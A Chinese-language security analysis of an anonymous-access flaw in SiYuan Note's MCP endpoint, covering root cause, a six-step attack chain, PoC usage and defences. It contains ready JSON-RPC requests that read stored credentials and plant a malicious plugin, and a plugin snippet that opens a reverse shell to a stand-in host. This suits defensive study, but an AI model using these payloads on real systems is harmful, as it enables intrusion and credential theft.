一、漏洞基础信息

字段
CVE 编号 CVE-2026-66012
CVSS 3.1 评分 10.0(Critical,满分)
漏洞类型 Missing Authorization / Privilege Escalation(CWE-862)
受影响组件 SiYuan Note 桌面端 < v3.7.2(启用 Publish 服务器且开启匿名访问)
攻击向量 Remote / Anonymous(无需认证)
披露日期 2026-07-25
PoC 仓库 github.com/Hunt-Benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization
修复版本 SiYuan Note v3.7.2

CVSS 10.0 意味着该漏洞在攻击复杂度(AV:N/AC:L)、用户交互(UI:N)、所需权限(PR:N)、机密性(C:H)、完整性(I:H)、可用性(A:H)六个维度全部取到最高档,理论上是最严重的远程匿名漏洞等级。之所以能拿到满分,核心在于它把"匿名读取敏感配置"与"写入可执行插件以管理员身份运行"两步串联起来,一击即中三要素(CIA)全失守。


二、漏洞根因深度分析

2.1 SiYuan 的 Publish 服务与 MCP 集成

SiYuan Note 是一款开源的本地优先笔记软件,采用 Go 语言编写后端,前端基于 Electron。其 Publish 功能允许用户将本地笔记以 HTTP 服务器形式发布到局域网或公网,默认监听端口 6808。从 v3.x 起,SiYuan 集成了 MCP(Model Context Protocol)Server,意图让外部 AI 客户端能够通过标准协议访问笔记内容、执行搜索、读写文件。

MCP Server 暴露的入口是 POST /mcp。按设计,这个端点本应服务于受信任的本地 AI 客户端(如 Claude Desktop、Cursor),但 Publish 服务器将其一并发到了网络上。

2.2 认证层的致命缺陷

漏洞的根因在于 /mcp 路由只挂载了 model.CheckAuth 这一道通用认证中间件,而没有追加针对 MCP 工具调用的管理员角色校验或只读权限收敛。

// 漏洞代码示意(基于公开 PoC 与 commit 修复反推)
func ServeAPI(ginServer *gin.Engine) {
    // ... 其他路由 ...

    // MCP 端点:仅 CheckAuth,未校验管理员角色 / 未限制工具调用权限
    ginServer.POST("/mcp", model.CheckAuth, serveMCP)
}

model.CheckAuth 的语义是"检查请求是否携带有效的 API token 或属于已认证会话"。但当 Publish 服务器开启匿名访问(Anonymous Access)时,CheckAuth 实际上是放行状态——任何未携带 token 的请求都被视为"匿名已认证用户"。问题在于:

  1. 认证 ≠ 授权:CheckAuth 只回答"你是谁",不回答"你能做什么"。匿名模式下"你是谁"的答案被默认为"已登录访客",于是后续所有 31 个 MCP 工具调用对匿名访客全部可见可调。
  2. 工具粒度缺失:MCP 协议本身没有强制要求 Server 实现工具级别的 RBAC,SiYuan 把全部 31 个工具(含 read_filewrite_filelist_dirsearch_block 等)一股脑暴露出来,未做敏感工具分级。
  3. 路径无沙箱:文件读写工具的根目录是 SiYuan 的 data/ 目录,而 data/conf/conf.json(存储 API token 等明文凭证)与 data/plugins/(插件加载目录)都在该根之下,攻击者可读写。

2.3 31 个 MCP 工具的暴露面

修复前的 MCP 工具清单(部分关键工具):

工具名 功能 危险等级
read_file 读取 data/ 下任意文件 Critical
write_file 写入 data/ 下任意文件 Critical
list_dir 列目录 High
search_block 全文搜索块内容 High
create_doc 创建文档 Medium
rename_doc 重命名文档 Medium
delete_doc 删除文档 High
get_block_attrs 读取块属性 Medium
set_block_attrs 修改块属性 Medium
sql_query 执行 SQL 查询(基于内置 SQLite) Critical
... (共 31 个) ...

其中 read_file + write_file + sql_query 三个工具的组合,足以完成从凭证窃取到持久化植入的完整攻击链。

2.4 conf.json 中的明文凭证

SiYuan 的 data/conf/conf.json 存储了运行时配置,其中包含:

  • apiToken:SiYuan API token(明文存储)
  • sync.s3 / sync.webdav:云同步凭证(可能含 S3 SecretKey、WebDAV 密码)
  • ai.openai.apiKey:用户配置的 OpenAI API Key(明文)
  • 各种 access auth code

这些凭证一旦被 read_file 工具读出,攻击者即可横向移动到用户的云存储、OpenAI 账户等关联资产。


三、MCP 协议安全背景

3.1 什么是 MCP

Model Context Protocol(MCP)是 Anthropic 在 2024 年底推出的开放协议,旨在标准化 AI 系统(如 LLM)与外部数据源、工具、服务之间的交互。其架构采用 Client-Server 模式:

┌──────────────┐      JSON-RPC      ┌──────────────┐
│  MCP Client  │ <────────────────> │  MCP Server  │ ──> Tools / Resources / Prompts
│ (Claude,     │   over stdio/SSE  │ (SiYuan,     │
│  Cursor)     │                   │  Filesystem) │
└──────────────┘                   └──────────────┘

MCP Server 通过三个原语向 Client 暴露能力:

  • Tools:可执行函数(如 read_filesql_query)
  • Resources:可读数据源(如文件、数据库表)
  • Prompts:预设的提示模板

设计上,MCP 假设 Client 与 Server 处于同一信任域(通常都是本地进程),因此协议层本身不强制实现细粒度权限控制。这一假设在"本地优先"应用里成立,但一旦 Server 被 Publish 到网络,信任域就被打破。

3.2 MCP 生态的安全现状

根据 2026 年中的安全审计报告,在 763 个公开可访问的 MCP 服务器中,31% 存在安全漏洞。主要漏洞类型分布:

漏洞类型 占比 典型后果
身份验证缺失 42% 匿名调用任意工具
命令执行无校验 28% 通过工具触发 OS 命令注入
配置绕过 18% 越权访问受保护资源
路径穿越 12% 读写任意文件

受影响产品涵盖主流 AI 开发工具与集成 MCP 的本地应用,包括但不限于 Cursor、Claude Code、SiYuan Note 等。CVE-2026-66012 正是"身份验证缺失"类型的代表性 CVE。


四、攻击链详解

4.1 攻击链 ASCII 架构图

        ┌─────────────────────────────────────────────────────────────────────┐
        │                       攻击者 (Remote / Anonymous)                    │
        │                 无需凭证,仅需网络可达 target:6808                      │
        └──────────────────────────────┬──────────────────────────────────────┘
                                       │
                                       │ ① 端口扫描/指纹识别:发现 SiYuan Publish
                                       ▼
        ┌─────────────────────────────────────────────────────────────────────┐
        │            目标 SiYuan Note 桌面端 (< v3.7.2, :6808)                │
        │  ┌─────────────────────────────────────────────────────────────┐   │
        │  │  Publish HTTP Server  (匿名访问已开启)                       │   │
        │  │  ┌─────────────────────────────────────────────────────┐  │   │
        │  │  │  POST /mcp  [仅 model.CheckAuth,匿名放行]            │  │   │
        │  │  │  ┌───────────────────────────────────────────────┐  │  │   │
        │  │  │  │  MCP Tools (31 个,未分级授权)                  │  │  │   │
        │  │  │  │  • read_file  • write_file  • sql_query  ...  │  │  │   │
        │  │  │  └───────────────────────────────────────────────┘  │  │   │
        │  │  └─────────────────────────────────────────────────────┘  │   │
        │  └─────────────────────────────────────────────────────────────┘   │
        │                          │ ② 匿名调用 /mcp                            │
        │                          ▼                                          │
        │  ③ read_file("conf/conf.json") → apiToken / S3 SecretKey / OpenAI Key │
        │                          │                                          │
        │                          ▼                                          │
        │  ④ write_file("data/plugins/evil/plugin.js") → 植入恶意插件          │
        │                          │                                          │
        │                          ▼ ⑤ 用户下次启动桌面端                       │
        │  ┌─────────────────────────────────────────────────────────────┐   │
        │  │  SiYuan 桌面端启动 → 加载 data/plugins/* → 执行 evil/plugin.js │   │
        │  │  ⚠ 以宿主用户权限(管理员)执行 → RCE                            │   │
        │  └─────────────────────────────────────────────────────────────┘   │
        │                          │                                          │
        │                          ▼ ⑥                                        │
        │  持久化(注册自启动项) + 数据窃取(外传 conf.json / 笔记库)          │
        └─────────────────────────────────────────────────────────────────────┘

4.2 六步攻击链拆解

Step 1:发现目标 SiYuan Publish 服务器(端口 6808)

攻击者通过端口扫描(如 nmap -p 6808)或 Shodan / FOFA 等空间测绘引擎,定位对外开放 6808 端口且响应特征符合 SiYuan Publish 的实例。SiYuan 的 Publish 服务器在未配置访问授权时,根路径 / 会返回笔记列表 HTML,指纹明显。

# 指纹识别
curl -s http://target:6808/ | grep -i "siyuan"
# 典型响应包含 <title>SiYuan</title> 或 data-siyuan 属性

Step 2:匿名访问 POST /mcp 接口

由于 model.CheckAuth 在匿名模式下放行,攻击者无需任何 token 即可向 /mcp 发送 JSON-RPC 请求。MCP 协议基于 JSON-RPC 2.0,初始化时先发送 initialize 请求:

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "initialize",
  "params": {
    "protocolVersion": "2024-11-05",
    "capabilities": {},
    "clientInfo": {"name": "evil-client", "version": "1.0.0"}
  }
}

随后调用 tools/list 即可枚举出 31 个可用工具。

Step 3:调用 read_file 读取 conf/conf.json 获取明文凭证

{
  "jsonrpc": "2.0",
  "id": 2,
  "method": "tools/call",
  "params": {
    "name": "read_file",
    "arguments": {
      "path": "conf/conf.json"
    }
  }
}

响应中直接返回 conf.json 全文,包含 apiTokensync.s3.secretKeyai.openai.apiKey 等敏感字段。攻击者拿到这些凭证后可立即用于横向攻击:用 apiToken 调用 SiYuan 自身 API、用 S3 SecretKey 访问用户云存储桶、用 OpenAI Key 盗刷额度。

Step 4:调用 write_file 向 data/plugins/ 写入恶意插件

SiYuan 的插件系统会在桌面端启动时扫描 data/plugins/ 目录并加载其中的 plugin.json + 入口 JS 文件。攻击者通过 MCP write_file 工具植入一个伪装成正常笔记插件的恶意插件:

{
  "jsonrpc": "2.0",
  "id": 3,
  "method": "tools/call",
  "params": {
    "name": "write_file",
    "arguments": {
      "path": "plugins/notes-helper/plugin.json",
      "content": "{\"name\":\"notes-helper\",\"version\":\"1.0.0\",\"main\":\"main.js\"}"
    }
  }
}

随后写入 main.js。由于 SiYuan 桌面端基于 Electron,插件 JS 在 Node.js 集成上下文中执行,可通过 require('child_process') 直接派生系统进程:

// plugins/notes-helper/main.js (恶意插件入口)
const { execSync } = require('child_process');
// 反弹 shell 或执行任意命令,此时权限为启动桌面端的用户权限
try {
  execSync('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"', {stdio:'ignore'});
} catch (e) {}
// 持久化:写入 crontab / 注册表 Run 项
// 数据窃取:外传 data/ 目录

Step 5:等待用户启动桌面端 → 恶意插件以管理员权限执行

这一步是"时间窗口攻击"。攻击者无需主动触发,只需等待用户下一次双击 SiYuan 桌面端图标。在 Windows 上,若用户以管理员账户运行(常见配置),恶意插件即以管理员权限执行,完成权限提升至最高。

Step 6:持久化 + 数据窃取

恶意插件执行后:

  • 持久化:写入注册表 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 或 Linux 的 ~/.config/autostart/,确保重启后仍在。
  • 数据窃取:外传 data/conf/conf.json(含全部凭证)、笔记数据库 data/storage/、用户主目录下的 SSH key 等。
  • 横向移动:利用窃取的 S3 / WebDAV 凭证访问用户其他云资产。

五、PoC 使用指南

公开 PoC 仓库封装了上述 Step 2-4 的完整流程,提供一键化命令行接口:

# 1. 克隆 PoC
git clone https://github.com/Hunt-Benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization.git
cd siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

# 2. 安装依赖(PoC 基于 Python + httpx)
pip install -r requirements.txt

# 3. 执行 exploit
#    参数1: 目标 URL
#    参数2: 要执行的命令(注入到恶意插件 main.js 中)
python exploit.py http://target:6808 "id"

PoC 的工作流程:

  1. /mcp 发送 initializetools/list,确认目标存在漏洞。
  2. 调用 read_file 读取 conf/conf.json,提取并打印 apiToken(供攻击者后续使用)。
  3. 调用 write_file 写入恶意插件到 data/plugins/
  4. 输出提示:等待用户启动桌面端后,命令将在目标主机以管理员权限执行。

注意:PoC 不会立即触发 RCE,而是植入"延迟执行"的恶意插件。真正的命令执行发生在用户下次启动桌面端时。这种时间窗口设计使得攻击难以被实时检测,但也在一定程度上限制了即时验证——这是为什么该漏洞适合用于长期渗透而非一次性打点。


六、与其他 MCP 安全事件对比

CVE-2026-66012 并非孤例。2026 年上半年,MCP 生态爆发了多起安全事件,下表横向对比:

事件 受影响组件 漏洞类型 CVSS 根因 影响
SiYuan CVE-2026-66012 SiYuan Note MCP Server 缺失授权 10.0 CheckAuth 未校验角色,匿名可调全部工具 匿名接管 + RCE
LiteLLM CVE-2026-47101 LiteLLM Proxy MCP 适配 SQL 注入 9.8 工具参数未参数化,直接拼接 SQL 数据库数据泄露 + 可能 RCE
LiteLLM CVE-2026-47102 LiteLLM Proxy SSRF 8.6 模型回调 URL 未做内网地址过滤 内网探测 / 云元数据窃取
LiteLLM CVE-2026-42271 LiteLLM Proxy 反序列化 9.1 pickle 模型加载未校验来源 任意代码执行
MCP SDK 反序列化漏洞 官方 MCP SDK(TypeScript/Python) 反序列化 9.8 JSON-RPC params 解析时类型混淆,触发原型链污染 / pickle 加载 Client 端 RCE

对比分析的关键结论:

  1. SiYuan 漏洞独特性:它是唯一一个"认证层完全失效"(匿名即可)的 MCP 漏洞。LiteLLM 系列与 MCP SDK 漏洞大多需要某种程度的可达性(如已认证会话、可发送 JSON-RPC),而 SiYuan 在 Publish 匿名模式下连"你是谁"都不需要回答。
  2. 共同模式:所有事件都暴露了 MCP 生态的同一类系统性问题——协议设计假设本地信任域,而实际部署却常暴露到网络。MCP SDK 在类型校验、反序列化上的宽松,使得工具调用参数成为高危注入点。
  3. CVSS 10.0 的稀缺性:在 5 个事件中仅 SiYuan 与 MCP SDK 反序列化拿到满分,原因是它们同时满足"远程匿名"与"全 CIA 失守"。

七、MCP 协议安全架构分析

7.1 信任边界模型缺陷

MCP 协议的安全模型可以用三层信任来描述:

┌─────────────────────────────────────────────────────────┐
│ Layer 3: AI 应用信任域 (Claude Desktop / Cursor)        │
│   └─ 用户授权过的工具调用,UI 提示确认                      │
├─────────────────────────────────────────────────────────┤
│ Layer 2: MCP 协议传输信任域 (stdio / SSE / HTTP)          │
│   └─ 假设传输通道可信,协议本身不加密、不签名               │  ← SiYuan 漏洞在此层失守
├─────────────────────────────────────────────────────────┤
│ Layer 1: MCP Server 实现信任域 (文件系统 / DB / OS)      │
│   └─ 假设所有 tools/call 来自可信 Client,直接执行          │  ← 命令注入 / 路径穿越在此层发生
└─────────────────────────────────────────────────────────┘

SiYuan 的失败在于 Layer 2:它把 MCP Server 同时暴露给本地 Client(可信)与 Publish 网络访客(不可信),却用同一套 CheckAuth 处理两类来源。Layer 2 的信任边界一旦被 Publish 打穿,Layer 1 的文件系统、数据库就向攻击者完全敞开。

7.2 协议层的三大缺口

  1. 无工具级权限声明:MCP 协议的 tools/list 响应里只有 namedescriptioninputSchema,没有 requiredPermission 字段。Server 实现者需自行做 RBAC,但大多数实现(包括 SiYuan)默认全开放。
  2. 无传输层绑定:协议允许 stdio、SSE、HTTP 三种传输,但没有规定"stdio = 本地可信,HTTP = 网络需认证"的绑定关系。SiYuan 把 stdio 用的同一套 handler 挂到 HTTP 路由,等于把本地信任域平移到网络。
  3. 无调用来源审计:JSON-RPC 请求里没有强制的 origin / audience 字段,Server 无法区分调用者是本地 AI Client 还是远程攻击者。

7.3 与 OAuth / API Token 模式的对比

传统 REST API 用 Bearer Token + Scope 实现细粒度授权,MCP 借用了 JSON-RPC 但丢了 Scope 机制:

维度 REST API + OAuth MCP(当前)
认证 Bearer Token 各 Server 自行实现(常缺失)
授权粒度 Scope(Resource + Action) 无,工具全开或全关
传输绑定 TLS 强制 可选,常明文
调用来源 RFC 8707 audience 校验

这种对比说明,MCP 要达到 REST API 的安全水位,至少需要补齐"工具级 Scope"与"audience 绑定"两项,这正是 SiYuan CVE-2026-66012 给生态敲响的警钟。


八、防御方案

8.1 立即处置:升级到 v3.7.2

SiYuan 官方在 v3.7.2 修复了该漏洞,核心修复点:

  • /mcp 路由追加管理员角色校验(model.CheckAdminRole),匿名访问直接 403。
  • MCP 工具分级:只读工具(read_filesearch_block)允许普通用户,写工具(write_filesql_query)仅管理员。
  • read_file 增加路径白名单,禁止读取 conf/conf.json 等敏感配置文件。
# 升级方式(以 Linux 为例)
wget https://github.com/siyuan-note/siyuan/releases/download/v3.7.2/siyuan-v3.7.2-linux.tar.gz
tar xzf siyuan-v3.7.2-linux.tar.gz
# 替换旧版本二进制

8.2 纵深防御:禁用 Publish 匿名访问

若必须使用 Publish 功能,务必关闭匿名访问,设置强访问码:

// conf/conf.json 片段
{
  "publish": {
    "enableAnonymous": false,
    "accessAuthCode": "<强随机字符串,>=32位>"
  }
}

更进一步,建议在反向代理(Nginx / Caddy)层对 /mcp 路径做 IP 白名单或 mTLS 双向认证,只允许本地回环访问:

location /mcp {
    allow 127.0.0.1;
    allow ::1;
    deny all;
    proxy_pass http://127.0.0.1:6808;
}

8.3 架构层防御:MCP 工具权限分级

针对自研 MCP Server 的开发者,建议实现工具级 RBAC:

// 修复示意:工具权限分级
type ToolPermission int
const (
    PermRead ToolPermission = iota   // 只读
    PermWrite                        // 写入
    PermAdmin                        // 管理员
)

var toolPerms = map[string]ToolPermission{
    "read_file":     PermRead,
    "search_block":  PermRead,
    "write_file":    PermWrite,
    "sql_query":     PermAdmin,
    "delete_doc":    PermAdmin,
}

func serveMCP(c *gin.Context) {
    user := c.MustGet("user").(*model.User)
    method := c.GetString("mcp_method")  // tools/call
    tool := c.GetString("tool_name")

    required, ok := toolPerms[tool]
    if !ok {
        c.AbortWithStatus(404)
        return
    }
    // 匿名用户直接拒绝写权限
    if user.IsAnonymous && required >= PermWrite {
        c.AbortWithStatus(403)
        return
    }
    // 非管理员拒绝 Admin 权限
    if !user.IsAdmin && required == PermAdmin {
        c.AbortWithStatus(403)
        return
    }
    // ... 执行工具 ...
}

8.4 运行时防御:插件加载沙箱

针对"恶意插件以宿主权限执行"这一终极威胁,SiYuan 及类似 Electron 应用应考虑:

  • 插件签名校验:加载 data/plugins/ 前校验 plugin.json 中的 signature 字段。
  • Node.js 集成隔离:插件 JS 运行在 contextIsolation: true 的 BrowserWindow 中,禁用 nodeIntegration,通过预加载脚本暴露受限 API。
  • 启动时文件完整性校验:对比 data/plugins/ 与用户确认清单,新增未确认插件时弹窗告警。

8.5 监测与响应

部署针对 MCP 接口的异常检测规则:

  • /mcp 路由的匿名 tools/call 应触发告警。
  • read_file 读取 conf.json 路径应触发告警。
  • write_file 写入 plugins/ 路径应触发告警并自动隔离文件。
# Falco / Suricata 检测规则示例
- rule: SiYuan MCP Anon Tool Call
  desc: 检测对 /mcp 的匿名工具调用
  condition: >
    http.request.method=POST and
    http.request.path=/mcp and
    not http.request.headers.authorization exists
  output: "Anonymous MCP call from %src.ip: tools/call %mcp.tool"
  priority: WARNING

九、总结

CVE-2026-66012 是 MCP 协议时代的一个标志性漏洞。它的满分 CVSS 不是偶然——当 AI 工具链协议(MCP)被嵌入到本地优先应用(SiYuan)并暴露到网络(Publish),而实现者沿用了本地信任域的宽松授权模型时,"匿名访问 → 凭证窃取 → 恶意插件植入 → 管理员 RCE"这条链路几乎是必然的。

这个漏洞的真正教训不在于某一行代码的疏漏,而在于信任边界的误判:

  1. 协议层的假设错配:MCP 设计假设 Client-Server 同机,SiYuan 把它 Publish 到网络,假设崩塌。
  2. 认证授权的混淆:CheckAuth 回答"你是谁",但开发者以为它也回答了"你能做什么"。
  3. 工具粒度的缺位:31 个工具一刀切全开放,没有按读写、敏感度分级。

对整个生态而言,这个 CVE 应推动 MCP 协议本身演进——在 tools/list 响应中引入 requiredScope 字段,在 JSON-RPC 头中引入 audience 校验,在传输层强制 stdio 与 HTTP 的差异化认证。否则,随着越来越多本地应用集成 MCP Server 并暴露到网络,类似 CVE-2026-66012 的满分漏洞还会不断重演。

对终端用户而言,行动项清晰且紧迫:立即升级 SiYuan 到 v3.7.2,关闭 Publish 匿名访问,审计所有已安装插件,并轮换 conf.json 中可能已泄露的所有凭证(apiToken、S3 SecretKey、OpenAI Key)。在网络可达性日益普遍的今天,任何"本地工具"都默认具备被远程调用的可能,这是 MCP 时代每个应用开发者与用户都必须建立的新心智模型。


参考资源:

  • PoC 仓库: github.com/Hunt-Benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization
  • MCP 协议规范: modelcontextprotocol.io
  • SiYuan Note 安全公告与 v3.7.2 Release Notes